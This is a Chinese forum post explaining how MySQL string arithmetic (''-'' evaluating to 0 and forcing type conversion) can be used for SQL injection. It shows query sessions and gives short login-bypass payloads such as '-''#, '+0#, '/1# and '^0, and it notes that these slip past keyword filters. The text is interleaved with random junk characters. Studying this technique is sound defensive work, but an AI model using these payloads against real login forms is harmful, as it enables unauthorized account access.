找回密码
 立即注册
查看: 2930|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
5 O: B8 D0 P$ @9 s1 _$ Y, t有以下表结构: + e* e+ o! s# s3 o9 b* Y% v
' [4 v  b, [! d* z
mysql> desc admin;
: E; P. t" f: E% d+----------+--------------+------+-----+---------+----------------+
" p, R& L7 h" X0 y$ S5 E2 Q| Field    | Type         | Null | Key | Default | Extra          |
  V( J+ N+ p/ a: R, ]9 ]* A! P+----------+--------------+------+-----+---------+----------------+
: Q! i# Y5 o5 C3 i| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |/ l6 b* I2 f  w0 f* b
| name     | char(32)     | NO   | UNI | NULL    |                |5 ~. H  Z# C+ A! c3 q# q
| password | char(32)     | NO   | UNI | NULL    |                |
2 j  c: s# B' _7 b0 s) O+----------+--------------+------+-----+---------+----------------+- s. w  `  G6 K( R# K* O
3 rows in set (0.00 sec)4 p4 Q- X1 B4 o* O! K  E  c7 l
执行select * from admin;,成功返回所有记录内容。
( `* X9 N( h2 K  y# `9 u$ P7 Q
& X+ g" B. `$ S& Y1 A0 c7 {6 j% ^- w6 t$ i. |* @
+----+--------+----------------------------------+
! G7 s9 _+ s" V; s; f+ a9 i| id | name   | password                         |
6 y8 f! a- J+ O4 \) M* |- T+----+--------+----------------------------------+# j3 J" G2 @: \( s
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |3 w3 G+ M+ V1 Q  E7 [. T& t4 X
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |3 X+ {$ ]) L! Z. w
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
/ `5 X8 \' T8 c+ E% W& x# o+----+--------+----------------------------------+
- }0 ~7 |. C4 m, K3 rows in set (0.00 sec)
0 {1 W% C* Y1 V, B# E执行select * from admin where name=”;,没有匹配到任何记录。
8 |7 ~2 i* R4 a2 w. `8 p
: I) E2 r0 C0 c' Q% f# x  Umysql> select * from admin where name = '';( P% _( E0 Z" G2 m. ^
Empty set (0.00 sec)
$ \7 M5 d1 R# v# U, p3 j& z那么我们来执行select * from admin where name = ”-”;  D- X( }7 c  o& L6 v" N

3 k  H8 A, M& ]4 g  A( P5 L: Q( e5 ~% q) x7 ]
+----+--------+----------------------------------+. o% L) \' W5 h
| id | name   | password                         |6 v3 s( ^" A6 d* c
+----+--------+----------------------------------+
6 z5 W- n7 g0 S1 r0 l2 x|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |4 v' J  _0 [$ u
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
( d( Y4 I. q9 @|  4 | n00b   | ff80e8508d39047460921792273533a4 |3 n4 ~/ R  C, w+ R. y) j
+----+--------+----------------------------------+
( f9 G% c2 J4 G. a! e3 rows in set, 3 warnings (0.00 sec)
" Q: [- H7 A9 Z8 g0 P8 S; u% C可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
+ A- _" r! x( b! ]$ H' y4 O- {: b! O
mysql> show warnings;5 c. \. n  \7 W' y
+---------+------+------------------------------------------, q$ z: @& H. J# f# s' h# X
| Level   | Code | Message
0 o! t' K: u' S- h+---------+------+------------------------------------------
6 w  z+ E( B# R2 w| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin) o2 Q' }2 K4 h% n. M) r
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
2 ?/ Y$ [& W, W; i$ E+ u' b5 W| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b+ A- ?4 T! R7 ?4 r; p" [2 |9 i
+---------+------+------------------------------------------) C6 d9 l$ I) Y9 D
3 rows in set (0.00 sec); \  c/ i  b2 m+ N8 N
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
- d3 ~% l4 X: a+ Z( a+ q# S( h9 p. r
* t1 C, f3 }6 g" u2 e: n' S" ]mysql> select ''-'';
9 l% }9 t2 b) d- o1 F+-------+
! `. A' _0 e& P| ''-'' |4 w5 }$ [. Y+ }  s& E% {* L
+-------+- H: c3 [/ l5 R+ e
|     0 |
5 b" g4 c' v* B0 ?' U; B! N+-------+2 q* M. ~3 y5 L# q5 i
1 row in set (0.00 sec)
! U* `/ j! r! J1 u4 W! ~, u" U返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
7 \! j$ D' `& p2 E* W/ V2 j& I  q# J7 t& W
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);+ v- i, I/ D/ \; x9 b  E( s/ T
+-----------------------------------------------------+' C) y2 s$ f5 O. g
| CAST((select name from admin limit 1,1) as DECIMAL) |
8 e# b) Y& T/ L7 B/ n8 ^+-----------------------------------------------------+
: M7 N  `* s( V6 M|                                                   0 |. Q+ }  R6 Q) L6 `" f
+-----------------------------------------------------+
; J! J" q3 ?/ P; d+ C1 row in set, 1 warning (0.00 sec)
" ?# Y3 n( P7 s# |+ ^* C+ |4 F因此where语句构成了相等的条件,where 0=”=”,记录被返回。
3 e; W& f0 O  n5 I6 |
: [: c' F5 [$ B* ?- tSQL注入场景: http://www.sqlzoo.net/hack/ 5 p* {( X8 W1 A8 R' k3 I* f' c
8 t% i7 i1 c& T4 ?; Y: @

% I- s( j! Z0 ]2 t/ i) n. V4 _
6 I% o# z8 r8 o
3 |/ u! V: i0 x% l; F. A如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 0 \1 I, N2 ?& ]
* S, y& N! O9 P) {- H
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
. q7 v% S+ ?. j1 S% u& q- P4 I; K) v+ t- p+ V

* j2 U$ _6 K5 Y* W7 `
) i  z# e1 [3 {7 k; o4 k8 L0 j
6 J) x2 `; \1 K; {& F# x3 u仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 , I9 p, [+ x' O3 o; t0 h6 |

, d. T$ O% U; K, H* z; ]' W& o   
7 O" f- l! h1 q( ?- R3 A# d2 \- A% P3 u  ~
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可0 @, U+ b7 t- X$ r- s. q

6 h, e0 t5 L7 W% P4 R  K/ Z5 ?! O7 Z; l: P! ~
mysql> select ''/1;
! d/ |6 L: I  L4 m! w2 H! t+------+
5 b4 G% y; ?7 G| ''/1 |1 n5 {3 C; C7 K. e4 d$ y" ~) T
+------+
* W0 n5 k* ]# t9 j6 T0 T7 G/ I5 P|    0 |) E# b2 [8 j/ x8 q6 U
+------+
; L! I  h: `2 s9 h1 row in set (0.00 sec)
# d& q, H3 {' e类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  2 _& w+ D1 b2 D; s5 ~
* O2 @" ?; V5 n
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
- b3 l6 N% ?; n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表